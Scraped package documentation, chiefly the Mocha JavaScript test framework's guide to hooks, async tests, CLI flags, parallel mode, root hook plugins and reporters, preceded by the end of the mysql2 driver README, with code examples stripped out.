You can enable this setting at either the connection level (applies to all queries), or at the query level (applies only to that specific query).

Connection Level

Query Level

API and Configuration

MySQL2 is mostly API compatible with Node MySQL. You should check their API documentation to see all available API options.

One known incompatibility is that DECIMAL values are returned as strings whereas in Node MySQL they are returned as numbers. This includes the result of SUM() and AVG() functions when applied to INTEGER arguments. This is done deliberately to avoid loss of precision - see https://github.com/sidorares/node-mysql2/issues/935.

If you find any other incompatibility with Node MySQL, Please report via Issue tracker. We will fix reported incompatibility on priority basis.

Documentation

You can find more detailed documentation here. You should also check various code examples to understand advanced concepts.

Acknowledgements

Internal protocol is written by @sidorares MySQL-Native

Constants, SQL parameters interpolation, Pooling, ConnectionConfig class taken from node-mysql

SSL upgrade code based on @TooTallNate code

Secure connection / compressed connection api flags compatible to MariaSQL client.

Contributors

Contributing

Want to improve something in node-mysql2. Please check Contributing.md for detailed instruction on how to get started.

# data[].attributes.attachment_link.description
fast mysql driver. Implements core protocol, prepared statements, ssl and compression in native JS. Latest version: 3.6.1, last published: 6 days ago. Start using mysql2 in your project by running `npm i mysql2`. There are 3856 other projects in the npm registry using mysql2.

# data[].attributes.attachment_link.readable_text
Mocha is a feature-rich JavaScript test framework running on Node.js and in the browser, making asynchronous testing simple and fun. Mocha tests run serially, allowing for flexible and accurate reporting, while mapping uncaught exceptions to the correct test cases. Hosted on GitHub.

Use Mocha at Work? Ask your manager or marketing team if they'd help support our project. Your company's logo will also be displayed on npmjs.com and our GitHub repository.

# Backers

Find Mocha helpful? Become a backer and support Mocha with a monthly donation.

# Features

# Table of Contents

# Installation

Install with npm globally:

$ npm install --global mocha

or as a development dependency for your project:

$ npm install --save-dev mocha

As of v8.0.0, Mocha requires Node.js v10.12.0 or newer.

# Getting Started

$ npm install mocha $ mkdir test $ $EDITOR test/test.js

In your editor:

Back in the terminal:

Set up a test script in package.json:

"scripts" : { "test" : "mocha" }

Then run tests with:

$ npm test

# Run Cycle Overview

A brief outline on the order Mocha's components are executed. Worth noting that all hooks, describe and it callbacks are run in the order they are defined (i.e. found in the file).

run 'mocha spec.js' | spawn child process | |--------------> inside child process process and apply options | run spec file/s | |--------------> per spec file suite callbacks (e.g., 'describe') | 'before' root-level pre-hook | 'before' pre-hook | |--------------> per test 'beforeEach' root-level pre-hook | 'beforeEach' pre-hook | test callbacks (e.g., 'it') | 'afterEach' post-hook | 'afterEach' root-level post-hook |<-------------- per test end | 'after' post-hook | 'after' root-level post-hooks |<-------------- per spec file end |<-------------- inside child process end

# Detects Multiple Calls to done()

If you use callback-based async tests, Mocha will throw an error if done() is called multiple times. This is handy for catching accidental double callbacks.

Running the above test will give you the below error message:

# Assertions

Mocha allows you to use any assertion library you wish. In the above example, we're using Node.js' built-in assert module - but generally, if it throws an Error, it will work! This means you can use libraries such as:

should.js - BDD style shown throughout these docs

expect.js - expect() style assertions

chai - expect(), assert() and should-style assertions

better-assert - C-style self-documenting assert()

unexpected - "the extensible BDD assertion toolkit"

# Asynchronous Code

By adding an argument (usually named done) to it() to a test callback, Mocha will know that it should wait for this function to be called to complete the test. This callback accepts both an Error instance (or subclass thereof) or a falsy value; anything else is invalid usage and throws an error (usually causing a failed test).

Alternatively, use the done() callback directly (which will handle an error argument, if it exists):

# Working with Promises

Alternately, instead of using the done() callback, you may return a Promise. This is useful if the APIs you are testing return promises instead of taking callbacks:

The latter example uses Chai as Promised for fluent promise assertions.

In Mocha v3.0.0 and newer, returning a Promise and calling done() will result in an exception, as this is generally a mistake:

The above test will fail with Error: Resolution method is overspecified. Specify a callback *or* return a Promise; not both.. In versions older than v3.0.0, the call to done() is effectively ignored.

# Using async / await

If your JS environment supports async / await, you can also write asynchronous tests like this:

# Synchronous Code

When testing synchronous code, omit the callback and Mocha will automatically continue on to the next test.

# Arrow Functions

Passing arrow functions (aka "lambdas") to Mocha is discouraged. Lambdas lexically bind this and cannot access the Mocha context. For example, the following code will fail:

If you do not need to use Mocha's context, lambdas should work. Be aware that using lambdas will be more painful to refactor if the need eventually arises!

# Hooks

Tests can appear before, after, or interspersed with your hooks. Hooks will run in the order they are defined, as appropriate; all before() hooks run (once), then any beforeEach() hooks, tests, any afterEach() hooks, and finally after() hooks (once).

# Describing Hooks

Any hook can be invoked with an optional description, making it easier to pinpoint errors in your tests. If a hook is given a named function, that name will be used if no description is supplied.

# Asynchronous Hooks

# Root-Level Hooks

A hook defined at the top scope of a test file (outside of a suite) is a root hook.

As of v8.0.0, Root Hook Plugins are the preferred mechanism for setting root hooks.

# Delayed Root Suite

WARNING: Delayed root suites are incompatible with parallel mode.

# Pending Tests

"Pending"-as in "someone should write these test cases eventually"-test-cases are those without a callback:

Pending tests will be included in the test results, and marked as pending. A pending test is not considered a failed test.

Read the inclusive tests section for an example of conditionally marking a test as pending via this.skip().

# Exclusive Tests

WARNING: Exclusive tests are incompatible with parallel mode.

The exclusivity feature allows you to run only the specified suite or test-case by appending .only() to the function. Here's an example of executing only a particular suite:

Note: All nested suites will still be executed.

Here's an example of executing an individual test case:

Previous to v3.0.0, .only() used string matching to decide which tests to execute; this is no longer the case. In v3.0.0 or newer, .only() can be used multiple times to define a subset of tests to run:

You may also choose multiple suites:

But tests will have precedence:

Note: Hooks, if present, will still be executed.

Be mindful not to commit usages of .only() to version control, unless you really mean it! To do so one can run mocha with the option --forbid-only in the continuous integration test command (or in a git precommit hook).

# Inclusive Tests

This feature is the inverse of .only(). By appending .skip(), you may tell Mocha to ignore test case(s). Anything skipped will be marked as pending, and reported as such. Here's an example of skipping an individual test:

You can also put .skip() on an entire suite. This is equivalent to appending .skip() onto all tests in the suite. Hooks in the suite are also skipped.

Note: Code in skipped suites, that is placed outside of hooks or tests is still executed, as mocha will still invoke the suite function to build up the suite structure for visualization.

Best practice: Use .skip() instead of commenting tests out.

You may also skip at runtime using this.skip(). If a test needs an environment or configuration which cannot be detected beforehand, a runtime skip is appropriate. For example:

The above test will be reported as pending. It's also important to note that calling this.skip() will effectively abort the test.

Best practice: To avoid confusion, do not execute further instructions in a test or hook after calling this.skip().

Contrast the above test with the following code:

Because this test does nothing, it will be reported as passing.

Best practice: Don't do nothing! A test should make an assertion or use this.skip().

To skip multiple tests in this manner, use this.skip() in a "before all" hook:

This will skip all it, beforeEach/afterEach, and describe blocks within the suite. before/after hooks are skipped unless they are defined at the same level as the hook containing this.skip().

Updated in v7.0.0: skipping a test within an "after all" hook is disallowed and will throw an exception. Use a return statement or other means to abort hook execution.

Before Mocha v3.0.0, this.skip() was not supported in asynchronous tests and hooks.

# Retry Tests

You can choose to retry failed tests up to a certain number of times. This feature is designed to handle end-to-end tests (functional tests/Selenium...) where resources cannot be easily mocked/stubbed. It's not recommended to use this feature for unit tests.

NOTE: Example below was written using Selenium webdriver (which overwrites global Mocha hooks for Promise chain).

# Dynamically Generating Tests

Given Mocha's use of Function.prototype.call and function expressions to define suites and test cases, it's straightforward to generate your tests dynamically. No special syntax is required - plain ol' JavaScript can be used to achieve functionality similar to "parameterized" tests, which you may have seen in other frameworks.

Take the following example:

The above code will produce a suite with three specs:

Test duration

Many reporters will display test duration and flag tests that are slow (default: 75ms), as shown here with the SPEC reporter:

There are three levels of test duration (depicted in the following image):

1. FAST: Tests that run within half of the "slow" threshold will show the duration in green (if at all).

2. NORMAL: Tests that run exceeding half of the threshold (but still within it) will show the duration in yellow.

3. SLOW: Tests that run exceeding the threshold will show the duration in red.

To tweak what's considered "slow", you can use the slow() method:

# Timeouts

# Suite-level

Suite-level timeouts may be applied to entire test "suites", or disabled via this.timeout(0). This will be inherited by all nested suites and test-cases that do not override the value.

# Test-level

Test-specific timeouts may also be applied, or the use of this.timeout(0) to disable timeouts all together:

# Hook-level

Hook-level timeouts may also be applied:

Again, use this.timeout(0) to disable the timeout for a hook.

In v3.0.0 or newer, a parameter passed to this.timeout() greater than the maximum delay value will cause the timeout to be disabled. In v8.0.0 or newer, this.enableTimeouts() has been removed. Warning: With async tests if you disable timeouts via this.timeout(0) and then do not call done(), your test will exit silently.

# Diffs

# Command-Line Usage

mocha [spec..] Run tests with Mocha Commands mocha inspect [spec..] Run tests with Mocha [default] mocha init <path> create a client-side Mocha setup at <path> Rules & Behavior --allow-uncaught Allow uncaught errors to propagate [boolean] --async-only, -A Require all tests to use a callback (async) or return a Promise [boolean] --bail, -b Abort ("bail") after first test failure [boolean] --check-leaks Check for global variable leaks [boolean] --delay Delay initial execution of root suite [boolean] --exit Force Mocha to quit after tests complete [boolean] --forbid-only Fail if exclusive test(s) encountered [boolean] --forbid-pending Fail if pending test(s) encountered [boolean] --global, --globals List of allowed global variables [array] --jobs, -j Number of concurrent jobs for --parallel; use 1 to run in serial [number] [default: (number of CPU cores - 1)] --parallel, -p Run tests in parallel [boolean] --retries Retry failed tests this many times [number] --slow, -s Specify "slow" test threshold (in milliseconds) [string] [default: 75] --timeout, -t, --timeouts Specify test timeout threshold (in milliseconds) [string] [default: 2000] --ui, -u Specify user interface [string] [default: "bdd"] Reporting & Output --color, -c, --colors Force-enable color output [boolean] --diff Show diff on failure [boolean] [default: true] --full-trace Display full stack traces [boolean] --growl, -G Enable Growl notifications [boolean] --inline-diffs Display actual/expected differences inline within each string [boolean] --reporter, -R Specify reporter to use [string] [default: "spec"] --reporter-option, --reporter-options, Reporter-specific options -O (<k=v,[k1=v1,..]>) [array] Configuration --config Path to config file [string] [default: (nearest rc file)] --package Path to package.json for config [string] File Handling --extension File extension(s) to load [array] [default: ["js","cjs","mjs"]] --file Specify file(s) to be loaded prior to root suite execution [array] [default: (none)] --ignore, --exclude Ignore file(s) or glob pattern(s) [array] [default: (none)] --recursive Look for tests in subdirectories [boolean] --require, -r Require module [array] [default: (none)] --sort, -S Sort test files [boolean] --watch, -w Watch files in the current working directory for changes [boolean] --watch-files List of paths or globs to watch [array] --watch-ignore List of paths or globs to exclude from watching [array] [default: ["node_modules",".git"]] Test Filters --fgrep, -f Only run tests containing this string [string] --grep, -g Only run tests matching this string or regexp [string] --invert, -i Inverts --grep and --fgrep matches [boolean] Positional Arguments spec One or more files, directories, or globs to test [array] [default: ["test"]] Other Options --help, -h Show usage information & exit [boolean] --version, -V Show version number & exit [boolean] --list-interfaces List built-in user interfaces & exit [boolean] --list-reporters List built-in reporters & exit [boolean] Mocha Resources Chat: https://gitter.im/mochajs/mocha GitHub: https://github.com/mochajs/mocha.git Docs: https://mochajs.org/

# --allow-uncaught

By default, Mocha will attempt to trap uncaught exceptions thrown from running tests and report these as test failures. Use --allow-uncaught to disable this behavior and allow uncaught exceptions to propagate. Will typically cause the process to crash.

This flag is useful when debugging particularly difficult-to-track exceptions.

# --async-only, -A

Enforce a rule that tests must be written in "async" style, meaning each test provides a done callback or returns a Promise. Non-compliant tests will be marked as failures.

# --bail, -b

Causes Mocha to stop running tests after the first test failure it encounters. Corresponding "after each" and "after all" hooks are executed for potential cleanup.

--bail does not imply --exit.

# --check-leaks

Use this option to have Mocha check for global variables that are leaked while running tests. Specify globals that are acceptable via the --global option (for example: --check-leaks --global jQuery --global MyLib).

# --compilers

--compilers was removed in v6.0.0. See further explanation and workarounds.

# --exit

Updated in v4.0.0.

TL;DR: If your tests hang after an upgrade to Mocha v4.0.0 or newer, use --exit for a quick (though not necessarily recommended) fix.

Prior to version v4.0.0, by default, Mocha would force its own process to exit once it was finished executing all tests. This behavior enables a set of potential problems; it's indicative of tests (or fixtures, harnesses, code under test, etc.) which don't clean up after themselves properly. Ultimately, "dirty" tests can (but not always) lead to false positive or false negative results.

"Hanging" most often manifests itself if a server is still listening on a port, or a socket is still open, etc. It can also be something like a runaway setInterval(), or even an errant Promise that never fulfilled.

The default behavior in v4.0.0 (and newer) is --no-exit, where previously it was --exit.

The easiest way to "fix" the issue is to pass --exit to the Mocha process. It can be time-consuming to debug - because it's not always obvious where the problem is - but it is recommended to do so.

To ensure your tests aren't leaving messes around, here are some ideas to get started:

# --forbid-only

Enforce a rule that tests may not be exclusive (use of e.g., describe.only() or it.only() is disallowed).

--forbid-only causes Mocha to fail when an exclusive ("only'd") test or suite is encountered, and it will abort further test execution.

# --forbid-pending

--forbid-pending causes Mocha to fail when a skipped ("pending") test or suite is encountered, and it will abort further test execution.

# --global <variable-name>

Updated in v6.0.0; the option is --global and --globals is now an alias.

--global accepts wildcards. You could do --global '*bar' and it would match foobar, barbar, etc. You can also pass in '*' to ignore all globals.

By using this option in conjunction with --check-leaks, you can specify a whitelist of known global variables that you expect to leak into global scope.

# --retries <n>

Retries failed tests n times.

Mocha does not retry test failures by default.

# --slow <ms>, -s <ms>

Specify the "slow" test threshold in milliseconds. Mocha uses this to highlight test cases that are taking too long. "Slow" tests are not considered failures.

Note: A test that executes for half of the "slow" time will be highlighted in yellow with the default spec reporter; a test that executes for entire "slow" time will be highlighted in red.

# --timeout <ms>, -t <ms>

Update in v6.0.0: --no-timeout is implied when invoking Mocha using inspect flags. It is equivalent to --timeout 0. --timeout 99999999 is no longer needed.

Specifies the test case timeout, defaulting to two (2) seconds (2000 milliseconds). Tests taking longer than this amount of time will be marked as failed.

To disable timeouts, use --no-timeout.

Note: synchronous (blocking) tests are also bound by the timeout, but they will not complete until the code stops blocking. Infinite loops will still be infinite loops!

# --ui <name>, -u <name>

The --ui option lets you specify the interface to use, defaulting to bdd.

# --color, -c, --colors

Updated in v6.0.0. --colors is now an alias for --color.

"Force" color output to be enabled, or alternatively force it to be disabled via --no-color. By default, Mocha uses the supports-color module to decide.

In some cases, color output will be explicitly suppressed by certain reporters outputting in a machine-readable format.

# --diff

When possible, show the difference between expected and actual values when an assertion failure is encountered.

This flag is unusual in that it defaults to true; use --no-diff to suppress Mocha's own diff output.

Some assertion libraries will supply their own diffs, in which case Mocha's will not be used, regardless of the default value.

Mocha's own diff output does not conform to any known standards, and is designed to be human-readable.

# --full-trace

Enable "full" stack traces. By default, Mocha attempts to distill stack traces into less noisy (though still useful) output.

This flag is helpful when debugging a suspected issue within Mocha or Node.js itself.

# --growl, -G

Enable Growl (or OS-level notifications where available).

Requires extra software to be installed; see the growl module's docs for more information.

# --inline-diffs

Enable "inline" diffs, an alternative output for diffing strings.

Useful when working with large strings.

Does nothing if an assertion library supplies its own diff output.

# --reporter <name>, -R <name>

Specify the reporter that will be used, defaulting to spec.

Allows use of third-party reporters. For example, mocha-lcov-reporter may be used with --reporter mocha-lcov-reporter after it has been installed.

# --reporter-option <option>, -O <option>, --reporter-options <option>

Updated in v6.0.0. Can be specified multiple times. --reporter-options is now an alias for --reporter-option.

Provide options specific to a reporter in <key>=<value> format, e.g., --reporter tap --reporter-option tapVersion=13.

Not all reporters accept options.

Can be specified as a comma-delimited list.

# --config <path>

New in v6.0.0.

Specify an explicit path to a configuration file.

By default, Mocha will search for a config file if --config is not specified; use --no-config to suppress this behavior.

# --opts <path>

Removed in v8.0.0. Please use configuration file instead.

# --package <path>

New in v6.0.0.

Specify an explicit path to a package.json file (ostensibly containing configuration in a mocha property).

# --extension <ext>

Files having this extension will be considered test files. Defaults to js.

Specifying --extension will remove .js as a test file extension; use --extension js to re-add it. For example, to load .mjs and .js test files, you must supply --extension mjs --extension js.

The option can be given multiple times. The option accepts a comma-delimited list: --extension a,b is equivalent to --extension a --extension b

# --file <file|directory|glob>

WARNING: --file is incompatible with parallel mode.

Explicitly include a test file to be loaded before other test files. Multiple uses of --file are allowed, and will be loaded in order given.

Useful if you want to declare, for example, hooks to be run before every test across all other test files.

Files specified this way are not affected by --sort or --recursive.

Files specified in this way should contain one or more suites, tests or hooks. If this is not the case, consider --require instead.

# --ignore <file|directory|glob>, --exclude <file|directory|glob>,

Explicitly ignore (exclude) one or more test files, directories or globs (e.g., some/**/files*) that would otherwise be loaded.

Files specified using --file are not affected by this option.

Can be specified multiple times.

# --recursive

When looking for test files, recurse into subdirectories.

See --extension for defining which files are considered test files.

# --require <module>, -r <module>

Require a module before loading the user interface or test files. This is useful for:

Test harnesses

Assertion libraries that augment built-ins or global scope (such as should.js)

Instant ECMAScript modules via esm

Compilers such as Babel via @babel/register or TypeScript via ts-node (using --require ts-node/register). See Babel or TypeScript working examples.

Modules required in this manner are expected to do work synchronously; Mocha won't wait for async tasks in a required module to finish.

You cannot use --require to set hooks. If you want to set hooks to run, e.g., before each test, use a Root Hook Plugin.

As of v8.0.0, Mocha supports --require for NodeJS native ESM. There is no separate --import flag.

# --sort, -S

WARNING: --sort is incompatible with parallel mode.

Sort test files (by absolute path) using Array.prototype.sort.

# --watch, -w

Rerun tests on file changes.

The --watch-files and --watch-ignore options can be used to control which files are watched for changes.

Tests may be rerun manually by typing ⓡ ⓢ ⏎ (same shortcut as nodemon).

# --watch-files <file|directory|glob>

New in v7.0.0

List of paths or globs to watch when --watch is set. If a file matching the given glob changes or is added or removed mocha will rerun all tests.

If the path is a directory all files and subdirectories will be watched.

The option can be given multiple times. The option accepts a comma-delimited list: --watch-files a,b is equivalent to --watch-files a --watch-files b

# --watch-ignore <file|directory|glob>

New in v7.0.0

List of paths or globs to exclude from watching. Defaults to node_modules and .git.

The option can be given multiple times. The option accepts a comma-delimited list: --watch-ignore a,b is equivalent to --watch-ignore a --watch-ignore b

# --fgrep <string>, -f <string>

BREAKING CHANGE in v6.0.0; now mutually exclusive with --grep.

Cause Mocha to only run tests having titles containing the given string.

Mutually exclusive with --grep.

# --grep <regexp>, -g <regexp>

BREAKING CHANGE in v6.0.0; now mutually exclusive with --fgrep.

Cause Mocha to only run tests matching the given regexp, which is internally compiled to a RegExp.

Mutually exclusive with --fgrep.

# --invert

Use the inverse of the match specified by --grep or fgrep.

Requires either --grep or --fgrep (but not both).

# --inspect, --inspect-brk, inspect

BREAKING CHANGE in v7.0.0; --debug / --debug-brk are removed and debug is deprecated.

Enables Node.js' inspector.

Use --inspect / --inspect-brk to launch the V8 inspector for use with Chrome Dev Tools.

Use inspect to launch Node.js' internal debugger.

All of these options are mutually exclusive.

Implies --no-timeout.

# --parallel, -p

New in v.8.0.0.

Use the --parallel flag to run tests in a worker pool.

Each test file will be put into a queue and executed as workers become available.

NOTICE: --parallel has certain implications for Mocha's behavior which you must be aware of. Read more about running tests in parallel.

# --jobs <count>, -j <count>

New in v.8.0.0.

Use --jobs <count> to specify the maximum number of processes in the worker pool.

The default value is the number of CPU cores less 1.

Has no effect unless used with --parallel.

# About Option Types

Updated in v6.0.0.

Each flag annotated of type [boolean] in Mocha's --help output can be negated by prepending --no- to the flag name. For example, --no-color will disable Mocha's color output, which is enabled by default.

Unless otherwise noted, all boolean flags default to false.

# About node Flags

The mocha executable supports all applicable flags which the node executable supports.

These flags vary depending on your version of Node.js.

node flags can be defined in Mocha's configuration.

# --enable-source-maps

New in Node.js v12.12.0

If the --enable-source-maps flag is passed to mocha, source maps will be collected and used to provide accurate stack traces for transpiled code:

# About V8 Flags

V8 flags can be defined in Mocha's configuration.

# Parallel Tests

New in v.8.0.0.

Depending on the number and nature of your tests, you may find a significant performance benefit when running tests in parallel (using the --parallel flag).

Parallel tests should work out-of-the box for many use cases. However, you must be aware of some important implications of the behavior.

Note: Authors of third-party libraries built on Mocha should read this!

# Reporter Limitations

Due to the nature of the following reporters, they cannot work when running tests in parallel:

These reporters expect Mocha to know how many tests it plans to run before execution. This information is unavailable in parallel mode, as test files are loaded only when they are about to be run.

In serial mode, tests results will "stream" as they occur. In parallel mode, reporter output is buffered; reporting will occur after each file is completed. In practice, the reporter output will appear in "chunks" (but will otherwise be identical). If a test file is particularly slow, there may be a significant pause while it's running.

# Exclusive Tests are Disallowed

You cannot use it.only, describe.only, this.only(), etc., in parallel mode. This is for the same reason as the incompatible reporters noted above: in parallel mode, Mocha does not load all files and suites into memory before running tests.

Suggested workarounds:

1. Use --grep or --fgrep instead; it's not particularly efficient, but it will work.

2. Don't use parallel mode. Likely, you won't be running very many exclusive tests, so you won't see a great benefit from parallel mode anyhow.

TIP: If parallel mode is defined in your config file, you can temporarily disable it on the command-line by using either the --no-parallel flag or reducing the job count, e.g., --jobs=0.

# File Order is Non-Deterministic

In parallel mode, Mocha does not guarantee the order in which test files will run, nor which worker process runs them.

Because of this, the following options, which depend on order, cannot be used in parallel mode:

# Test Duration Variability

Running tests in parallel mode will naturally use more system resources. The OS may take extra time to schedule and complete some operations, depending on system load. For this reason, the timeouts of individual tests may need to be increased either globally or otherwise.

# "Bail" is "Best Effort"

When used with --bail (or this.bail()) to exit after the first failure, it's likely other tests will be running at the same time. Mocha must shut down its worker processes before exiting.

Likewise, subprocesses may throw uncaught exceptions. When used with --allow-uncaught, Mocha will "bubble" this exception to the main process, but still must shut down its processes.

Either way, Mocha will abort the test run "very soon."

# Root Hooks Are Not Global

NOTE: This only applies when running in parallel mode.

A root hook is a hook in a test file which is not defined within a suite. An example using the bdd interface:

When run (in the default "serial" mode) via this command:

mocha --file "./test/setup.js" "./test/**/*.spec.js"

setup.js will be executed first, and install the two hooks shown above for every test found in ./test/**/*.spec.js.
The above example does not work in parallel mode.
When Mocha runs in parallel mode, test files do not share the same process, nor do they share the same instance of Mocha. Consequently, a hypothetical root hook defined in test file A will not be present in test file B.

Here are a couple suggested workarounds:

1. require('./setup.js') or import './setup.js' at the top of every test file. Best avoided for those averse to boilerplate.

2. Recommended: Define root hooks in a "required" file, using the new (also as of v8.0.0) Root Hook Plugin system.

# No Browser Support

Parallel mode is only available in Node.js, for now.

# Limited Reporter API for Third-Party Reporters

Third-party reporters may encounter issues when attempting to access non-existent properties within Test, Suite, and Hook objects. If a third-party reporter does not work in parallel mode (but otherwise works in serial mode), please file an issue.

# Troubleshooting Parallel Mode

If you find your tests don't work properly when run with --parallel, either shrug and move on, or use this handy-dandy checklist to get things working:

✅ Ensure you are using a supported reporter.

✅ Ensure you are not using other unsupported flags.

✅ Double-check your config file; options set in config files will be merged with any command-line option.

✅ Look for root hooks (they look like this) in your tests. Move them into a Root Hook Plugin.

✅ Do any assertion, mock, or other test libraries you're consuming use root hooks? They may need to be migrated for compatibility with parallel mode.

✅ If tests are unexpectedly timing out, you may need to increase the default test timeout (via --timeout)

✅ Ensure your tests do not depend on being run in a specific order.

✅ Ensure your tests clean up after themselves; remove temp files, handles, sockets, etc. Don't try to share state or resources between test files.

# Caveats About Testing in Parallel

Some types of tests are not so well-suited to run in parallel. For example, extremely timing-sensitive tests, or tests which make I/O requests to a limited pool of resources (such as opening ports, or automating browser windows, hitting a test DB, or remote server, etc.).

Free-tier cloud CI services may not provide a suitable multi-core container or VM for their build agents. Regarding expected performance gains in CI: your mileage may vary. It may help to use a conditional in a .mocharc.js to check for process.env.CI, and adjust the job count as appropriate.

It's unlikely (but not impossible) to see a performance gain from a job count greater than the number of available CPU cores. That said, play around with the job count -there's no one-size-fits all, and the unique characteristics of your tests will determine the optimal number of jobs; it may even be that fewer is faster!

# Root Hook Plugins

New in v8.0.0.

In some cases, you may want a hook before (or after) every test in every file. These are called root hooks. Previous to v8.0.0, the way to accomplish this was to use --file combined with root hooks (see example above). This still works in v8.0.0, but not when running tests in parallel mode! For that reason, running root hooks using this method is strongly discouraged, and may be deprecated in the future.

A Root Hook Plugin is a JavaScript file loaded via --require which "registers" one or more root hooks to be used across all test files.

# Defining a Root Hook Plugin

Here's a simple example which defines a root hook, written using CJS and ESM syntax.

# With CommonJS

# With ES Modules

We're using the .mjs extension in these examples.

Tip: If you're having trouble getting ES modules to work, refer to the Node.js documentation.

Note: Further examples will use ESM syntax.

# Available Root Hooks

Root hooks work with any interface, but the property names do not change. In other words, if you are using the tdd interface, suiteSetup maps to beforeAll, and setup maps to beforeEach.

Available root hooks and their behavior:

beforeAll:

In serial mode (Mocha's default), before all tests begin, once only

In parallel mode, run before all tests begin, for each file

beforeEach:
In both modes, run before each test

afterAll:

In serial mode, run after all tests end, once only

In parallel mode, run after all tests end, for each file

afterEach:
In both modes, run after every test

As with other hooks, this refers to to the current context object:

# Multiple Root Hooks in a Single Plugin

Multiple root hooks can be defined in a single plugin, for organizational purposes. For example:

# Root Hook Plugins Can Export a Function

If you need to perform some logic-such as choosing a root hook conditionally, based on the environment- mochaHooks can be a function which returns the expected object.

If you need to perform an async operation, mochaHooks can be Promise-returning:

# Multiple Root Hook Plugins

Multiple root hook plugins can be registered by using --require multiple times. For example, to register the root hooks in hooks-a.js and hooks-b.js, use --require hooks-a.js --require hooks-b.js. These will be registered (and run) in order.

# Migrating Tests to use Root Hook Plugins

To migrate your tests using root hooks to a root hook plugin:

1. Find your root hooks (hooks defined outside of a suite-usually describe() callback).

2. Create a new file, e.g., test/hooks.js.

3. Move your root hooks into test/hooks.js.

4. In test/hooks.js, make your hooks a member of an exported mochaHooks property.

5. Use --require test/hooks.js (even better: use a config file with {"require": "test/hooks.js"}) when running your tests.

For example, given the following file, test/test.spec.js, containing root hooks:

Your test/hooks.js (for this example, a CJS module) should contain:

NOTE: Careful! after becomes afterAll and before becomes beforeAll.

Your original test/test.spec.js should now contain:

Running mocha --require test/hooks.js test/test.spec.js will run as before (and is now ready to be used with --parallel).

# Migrating a Library to use Root Hook PLugins

If you're a library maintainer, and your library uses root hooks, you can migrate by refactoring your entry point:

Your library should always export a mochaHooks object.

To maintain backwards compatibility, run your root hooks if and only if global.beforeEach (or other relevant hook) exists.

Instruct your users to --require <your-package> when running mocha.

# Interfaces

Mocha's "interface" system allows developers to choose their style of DSL. Mocha has BDD, TDD, Exports, QUnit and Require-style interfaces.

# BDD

The BDD interface provides describe(), context(), it(), specify(), before(), after(), beforeEach(), and afterEach().

All of the previous examples were written using the BDD interface.

# TDD

The TDD interface provides suite(), test(), suiteSetup(), suiteTeardown(), setup(), and teardown():

# Exports

The Exports interface is much like Mocha's predecessor expresso. The keys before, after, beforeEach, and afterEach are special-cased, object values are suites, and function values are test-cases:

# QUnit

The QUnit-inspired interface matches the "flat" look of QUnit, where the test suite title is defined before the test-cases. Like TDD, it uses suite() and test(), but resembling BDD, it also contains before(), after(), beforeEach(), and afterEach().

# Require

Note: The require interface cannot be run via the node executable, and must be run via mocha.

# Reporters

Mocha reporters adjust to the terminal window, and always disable ANSI-escape coloring when the stdio streams are not associated with a TTY.

# Spec

Alias: Spec, spec

This is the default reporter. The Spec reporter outputs a hierarchical view nested just as the test cases are.

# Dot Matrix

Alias: Dot, dot

The Dot Matrix reporter is a series of characters which represent test cases. Failures highlight in red exclamation marks (!), pending tests with a blue comma (,), and slow tests as yellow. Good if you prefer minimal output.

# Nyan

Alias: Nyan, nyan

The Nyan reporter is exactly what you might expect:

# TAP

Alias: TAP, tap

The TAP reporter emits lines for a Test-Anything-Protocol consumer.

# Landing Strip

Alias: Landing, landing

The Landing Strip reporter is a gimmicky test reporter simulating a plane landing 😃 unicode ftw

# List

Alias: List, list

The List reporter outputs a simple specifications list as test cases pass or fail, outputting the failure details at the bottom of the output.

# Progress

Alias: Progress, progress

The Progress reporter implements a simple progress-bar:

# JSON

Alias: JSON, json

The JSON reporter outputs a single large JSON object when the tests have completed (failures or not).

# JSON Stream

Alias: JSONStream, json-stream

The JSON Stream reporter outputs newline-delimited JSON "events" as they occur, beginning with a "start" event, followed by test passes or failures, and then the final "end" event.

# Min

Alias: Min, min

The Min reporter displays the summary only, while still outputting errors on failure. This reporter works great with --watch as it clears the terminal in order to keep your test summary at the top.

# Doc

Alias: Doc, doc

The Doc reporter outputs a hierarchical HTML body representation of your tests. Wrap it with a header, footer, and some styling, then you have some fantastic documentation!

For example, suppose you have the following JavaScript:

The command mocha --reporter doc array would yield:

The SuperAgent request library test documentation was generated with Mocha's doc reporter using this Bash command:

$ mocha --reporter=doc | cat docs/head.html - docs/tail.html > docs/test.html

View SuperAgent's Makefile for reference.

# Markdown

Alias: Markdown, markdown

The Markdown reporter generates a markdown TOC and body for your test suite. This is great if you want to use the tests as documentation within a Github wiki page, or a markdown file in the repository that Github can render. For example, here is the Connect test output.

# XUnit

Alias: XUnit, xunit

The XUnit reporter is also available. It outputs an XUnit-compatible XML document, often applicable in CI servers.

By default, it will output to the console. To write directly to a file, use --reporter-option output=filename.xml.

To specify custom report title, use --reporter-option suiteName="Custom name".

# Third-Party Reporters

Mocha allows you to define custom reporters. For more information see the wiki.

Examples:

# HTML Reporter

Alias: HTML, html
The HTML reporter is not intended for use on the command-line.
# Node.JS native ESM support

New in v7.1.0

Mocha supports writing your tests as ES modules, and not just using CommonJS. For example:

To enable this you don't need to do anything special. Write your test file as an ES module. In Node.js this means either ending the file with a .mjs extension, or, if you want to use the regular .js extension, by adding "type": "module" to your package.json. More information can be found in the Node.js documentation.

Mocha supports ES modules only from Node.js v12.11.0 and above. To enable this in versions smaller than 13.2.0, you need to add --experimental-modules when running Mocha. From version 13.2.0 of Node.js, you can use ES modules without any flags. (Mocha will load ESM even in Node v10, but this is not officially supported. Use at your own risk.)

# Current Limitations

Node.JS native ESM support still has status: Stability: 1 - Experimental

Watch mode does not support ES Module test files

Custom reporters and custom interfaces can only be CommonJS files

Configuration file can only be a CommonJS file (.mocharc.js or .mocharc.cjs)

When using module-level mocks via libs like proxyquire, rewiremock or rewire, hold off on using ES modules for your test files

Node.JS native ESM support does not work with esm module

# Running Mocha in the Browser

Mocha runs in the browser. Every release of Mocha will have new builds of ./mocha.js and ./mocha.css for use in the browser.

A typical setup might look something like the following, where we call mocha.setup('bdd') to use the BDD interface before loading the test scripts, running them onload with mocha.run().

# Grep

The browser may use the --grep as functionality. Append a query-string to your URL: ?grep=api.

# Browser Configuration

Mocha options can be set via mocha.setup(). Examples:

# Browser-specific Option(s)

Browser Mocha supports many, but not all cli options. To use a cli option that contains a "-", please convert the option to camel-case, (eg. check-leaks to checkLeaks).

# Options that differ slightly from cli options:

reporter {string|constructor} You can pass a reporter's name or a custom reporter's constructor. You can find recommended reporters for the browser here. It is possible to use built-in reporters as well. Their employment in browsers is neither recommended nor supported, open the console to see the test results.

